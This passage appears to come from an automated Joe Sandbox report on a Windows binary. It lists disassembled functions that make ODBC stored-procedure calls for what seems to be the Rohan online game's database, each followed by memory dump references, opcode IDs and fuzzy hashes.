                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetValidPeriod] (?,?,?)}
                                                                                                                            • API String ID: 0-1972007198
                                                                                                                            • Opcode ID: 0f97161afb3bf5bd773a5fc27f619ae7612857b6a5fba8632c5a3f5bb53050a1
                                                                                                                            • Instruction ID: b816afac22d75838d956eb411469a26bd93a8d3ec16d2eeb8068841158537f39
                                                                                                                            • Opcode Fuzzy Hash: 0f97161afb3bf5bd773a5fc27f619ae7612857b6a5fba8632c5a3f5bb53050a1
                                                                                                                            • Instruction Fuzzy Hash: 593123B1B847147BFB608B54CC46FAA7334EB85B14F20C688F7186E6C0DAB56D808F49
                                                                                                                            Function 004365AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsertCharacterRecipe](?,?,?)},000000FD), ref: 004365CD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043660C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00436641
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00436679
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004366B1
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsertCharacterRecipe](?,?,?)}, xrefs: 004365C4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsertCharacterRecipe](?,?,?)}
                                                                                                                            • API String ID: 0-3401302940
                                                                                                                            • Opcode ID: a0ec37c8eefa510c6284bd66a4c47a68b25f6789086fa82abd9aabee15cc5647
                                                                                                                            • Instruction ID: 04ffc0c6000ac086e9296de2cc9d03c2e26e58adbaa3ee6c185438dee3d65e88
                                                                                                                            • Opcode Fuzzy Hash: a0ec37c8eefa510c6284bd66a4c47a68b25f6789086fa82abd9aabee15cc5647
                                                                                                                            • Instruction Fuzzy Hash: 8A31F2B06842187BFB248B54CC52FA97375EB88B14F208789F7146E6C5DAB5AD408F5C
                                                                                                                            Function 004416C2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohangame_pLucky_GetNum] (?, ?, ?)},000000FD), ref: 004416D6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00441722
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0044175C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 00441794
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004417CC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohangame_pLucky_GetNum] (?, ?, ?)}, xrefs: 004416CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohangame_pLucky_GetNum] (?, ?, ?)}
                                                                                                                            • API String ID: 0-1717943130
                                                                                                                            • Opcode ID: e43a3aed54fc27cdd334dfe3140f2307f18faed8a9b50492e360400e1ac17707
                                                                                                                            • Instruction ID: 232172c207588b26c1945ba5a9465687adb79bf80a3de000318a5a726b882a47
                                                                                                                            • Opcode Fuzzy Hash: e43a3aed54fc27cdd334dfe3140f2307f18faed8a9b50492e360400e1ac17707
                                                                                                                            • Instruction Fuzzy Hash: 0831FBB5A80718BBEB248B44CC52FEA7379EB44F18F148189F7186E6C1D6B56B408F58
                                                                                                                            Function 004356CC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_AddMinigameMoneyWeb] (?, ?, ?)},000000FD), ref: 004356EC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043572B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435760
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000004,00000000), ref: 00435798
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004357D0
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_AddMinigameMoneyWeb] (?, ?, ?)}, xrefs: 004356E3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_AddMinigameMoneyWeb] (?, ?, ?)}
                                                                                                                            • API String ID: 0-859304113
                                                                                                                            • Opcode ID: 26f509e998e64553e41967144179429c9a929b9934fb515e60a1acfc0c8dca1a
                                                                                                                            • Instruction ID: 6c9b0bb954a9a2318d51e67806a805e3351f1d9058a3f9f8b542598a5ce84854
                                                                                                                            • Opcode Fuzzy Hash: 26f509e998e64553e41967144179429c9a929b9934fb515e60a1acfc0c8dca1a
                                                                                                                            • Instruction Fuzzy Hash: 583114B46842147BFB649B54CC56FA97334EBC4B1CF208289F7186E2C5DBB16D808F58
                                                                                                                            Function 0042E6B9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelSkillsGuild] (?, ?, ?)},000000FD), ref: 0042E6D9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E718
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E74D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E785
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042E7BD
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelSkillsGuild] (?, ?, ?)}, xrefs: 0042E6D0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelSkillsGuild] (?, ?, ?)}
                                                                                                                            • API String ID: 0-3576215244
                                                                                                                            • Opcode ID: fbac4a9dee4feb826f1f3cac5d67b7f6f4989d5eb3ae09b3fa709c435c8dbd93
                                                                                                                            • Instruction ID: 479447934e127e615015f51893c39319a48930f8f2c212e298ed72999c77b12b
                                                                                                                            • Opcode Fuzzy Hash: fbac4a9dee4feb826f1f3cac5d67b7f6f4989d5eb3ae09b3fa709c435c8dbd93
                                                                                                                            • Instruction Fuzzy Hash: 7331E370AC061B7BEB288B44CD52FBB7335EB84B15F108199F6246E2C5D5B96D408F58
                                                                                                                            Function 0042E7C7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InitSkillGuild] (?, ?, ?)},000000FD), ref: 0042E7E7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E826
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E85B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E893
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042E8CB
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InitSkillGuild] (?, ?, ?)}, xrefs: 0042E7DE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InitSkillGuild] (?, ?, ?)}
                                                                                                                            • API String ID: 0-1202206211
                                                                                                                            • Opcode ID: c4b086fe94ae3874f72decfc573c41fae2bbf86ed2946295072efab7feef4d76
                                                                                                                            • Instruction ID: b255a01c27b3d8c7f684e160438b2ca82a80a1adc55befb7238560704ad9c34c
                                                                                                                            • Opcode Fuzzy Hash: c4b086fe94ae3874f72decfc573c41fae2bbf86ed2946295072efab7feef4d76
                                                                                                                            • Instruction Fuzzy Hash: A631D1B5A802147BFB24CF54CC52FAB7376EBC4B18F108289F6146E2C5D6B669608B58
                                                                                                                            Function 004337E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateLadderQuestState] (?,?,?)},000000FD), ref: 00433800
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043383F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00433874
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004338AC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004338E4
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateLadderQuestState] (?,?,?)}, xrefs: 004337F7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
